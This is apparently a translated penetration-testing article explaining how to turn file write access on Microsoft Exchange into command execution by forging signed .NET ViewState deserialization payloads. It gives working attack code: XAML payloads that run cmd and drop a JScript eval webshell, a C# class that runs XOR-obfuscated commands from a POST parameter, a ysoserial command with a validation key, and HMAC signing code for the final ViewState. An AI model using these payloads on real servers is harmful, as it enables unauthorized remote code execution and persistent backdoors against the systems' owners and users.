0x00 Preface

---

In the previous article 'Penetration Techniques - From Exchange File Read/Write Permissions to Command Execution', we introduced the method of achieving command execution from Exchange file read/write permissions through .Net deserialization of ViewState, sharing development details of three exploitation scripts. This article will specifically analyze the details of generating ViewState and introduce another script development detail for achieving command execution from Exchange file read/write permissions.

References:

http://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html

https://github.com/pwntester/ysoserial.net

0x01 Introduction

---

This article will cover the following:

  • Two implementation methods for generating ViewState
  • Details of another exploitation script development
  • Open-source code

0x02 Background Knowledge

---

1. Implementation Principle of DotNet ViewState Deserialization

If the content of the web.config file can be read to obtain the encryption key and algorithm, valid serialized data can be constructed. If the serialized data is set as a malicious delegate, remote code execution can be achieved when ViewState uses ObjectStateFormatter for deserialization to invoke the delegate.

2. ViewState Generation Process

Using validationkey and generator as parameters, sign the serialized xaml data, place it after the serialized xaml data, and then perform Base64 encoding to form the final ViewState content.

Intuitive understanding:

data = Serialize(xaml)
ViewState = data + (data+generator).ComputeHash(validationKey)
ViewState = Base64(ViewState)

For encryption details, refer to:

https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L255

https://github.com/0xacb/viewgen/blob/master/viewgen#L156

Specific details can be examined by decompiling System.Web.dll using dnSpy, locating the GetEncodedData function in System.Web.Configuration.MachineKeySection.

0x03 Two Implementation Methods for Generating ViewState

---

Test Environment:

Obtained Exchange file read/write permissions, enabling modification of %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\web.config and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\web.config, setting the machineKey content as follows:

For .NET deserialization command execution at these two locations, legitimate user credentials are no longer required

The following introduces two programmatic methods for generating ViewState

1. Generating ViewState from XAML data

Process is as follows:

  1. Construct XAML data
  2. Generate serialized XAML data
  3. Generate signature data
  4. Concatenate serialized XAML data and signature data, then perform Base64 encoding

(1) Constructing XAML data

Four types are introduced here, corresponding to four functionalities respectively

Execute command:

xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">


cmd
"/c notepad"


Write file:

xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">




FrontEnd\\HttpProxy\\owa\\auth\\xaml.aspx





<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>






Note:

Pay attention to XAML escape characters

Set Header:

xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">





TEST-HEADER
123456



Set Response:

xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:s="clr-namespace:System;assembly=mscorlib"
xmlns:w="clr-namespace:System.Web;assembly=System.Web">




123456



(2) Generate serialized XAML data

Requires Microsoft.PowerShell.Editor.dll

(3) Generate signature data

Reference code:

byte[] validationKey = strToToHexByte(key);
uint _clientstateid = 0;
// Converting "generator" from HEX to INT
if (!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))
System.Environment.Exit(0);
byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);
ms = new MemoryStream();
ms.Write(data, 0, data.Length);
ms.Write(_mackey, 0, _mackey.Length);
byte[] hash = (new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());

Note:

Code modified from https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs#L253

(4) Concatenate serialized XAML data and signature data, then perform Base64 encoding

Simply call Convert.ToBase64String()

Complete implementation code has been uploaded to GitHub, address as follows:

An open-source project

The code can read XAML files, compute signatures using validationkey and generator, and generate the final ViewState

Advantages:

Clear process, easy to debug and modify details

Disadvantages:

Requires dependency on the intermediate file Microsoft.PowerShell.Editor.dll, occupying space

Note:

The complete exploitation files for this method have been packaged and uploaded to GitHub, address as follows:

An open-source project

2. Generate ViewState from serialized XAML data

Utilize ysoserial.net to skip the step from XAML data to serialized XAML data, improving development efficiency

Process as follows:

(1) Modify the ysoserial.net source code to directly read usable serialized XAML data

Add the following code at https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs#L209:

Console.WriteLine(payloadString);
Console.WriteLine("The content above is what we need");
Console.WriteLine("-----------");

Can output Base64-encoded serialized XAML data in the console

Compile ysoserial.net to generate ysoserial.exe, create a new shellPayload.cs in the same directory with the following content:

class E
{
static string xor(string s) {
char[] a = s.ToCharArray();
for(int i = 0; i < a.Length; i++)
a[i] = (char)(a[i] ^ 'x');
return new string(a);
}
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["__Value"];
cmd = xor(cmd);
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
output = xor(output);
context.Response.Write(output);

} catch (System.Exception) { }
context.Response.Flush();
context.Response.End();
}
}

Use ysoserial.exe to generate ViewState with the following command:

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "shellPayload.cs;System.Web.dll;System.dll;" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="042A94E8"

Obtain Base64-encoded serialized xaml data from the output

(2) Calculate the signature of the serialized xaml data to generate the final ViewState data

Code as follows:

static string CreateViewState(byte[] dat,string generator,string key)
{
MemoryStream ms = new MemoryStream();
byte[] validationKey= strToHexByte(key);

uint _clientstateid = 0;
if(!uint.TryParse(generator, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out _clientstateid))
{
System.Environment.Exit(0);
}

byte[] _mackey = new byte[4];
_mackey[0] = (byte)_clientstateid;
_mackey[1] = (byte)(_clientstateid >> 8);
_mackey[2] = (byte)(_clientstateid >> 16);
_mackey[3] = (byte)(_clientstateid >> 24);

ms = new MemoryStream();
ms.Write(dat,0,dat.Length);
ms.Write(_mackey,0,_mackey.Length);
byte[] hash=(new HMACSHA1(validationKey)).ComputeHash(ms.ToArray());
ms=new MemoryStream();
ms.Write(dat,0,dat.Length);
ms.Write(hash,0,hash.Length);
return Convert.ToBase64String(ms.ToArray());
}

The complete implementation code has been uploaded to GitHub, the address is as follows:

An open-source project

The code implements calculating a signature from serialized XAML data to generate the final ViewState data

Advantages:

Occupies less space, can directly use existing Payloads from ysoserial.net

Disadvantages:

Debugging and modification are relatively cumbersome

Note:

The CreateViewState() functions in the above two implementation methods differ in details, requiring attention

0x04 Another Detail in Exploit Script Development

---

Used to achieve command execution from Exchange file read/write permissions

Following the structure from https://github.com/zcgonvh/CVE-2020-0688/blob/master/ExchangeCmd.cs, encapsulate the serialized XAML data in an array, use validationkey and generator as parameters to sign the serialized XAML data, forming the final ViewState content

The complete implementation code has been uploaded to GitHub, the address is as follows:

An open-source project

The code supports deserialization execution at two locations: the default files %ExchangeInstallPath%\FrontEnd\HttpProxy\owa\auth\errorFE.aspx and %ExchangeInstallPath%\FrontEnd\HttpProxy\ecp\auth\TimeoutLogout.aspx

The code first sends data implemented by ysoserial.net for ActivitySurrogateDisableTypeCheck, then can execute commands and obtain command execution results, sending data via POST with the parameter __Value, using character-by-character XOR encryption for communication data

The supported features are consistent with ExchangeDeserializeShell-NoAuth-ActivitySurrogateSelectorFromFile.py

0x05 Summary

---

This article analyzes the details of generating ViewState, introduces two programmatic methods for generating ViewState, and writes code to implement another exploitation script from Exchange file read/write permissions to command execution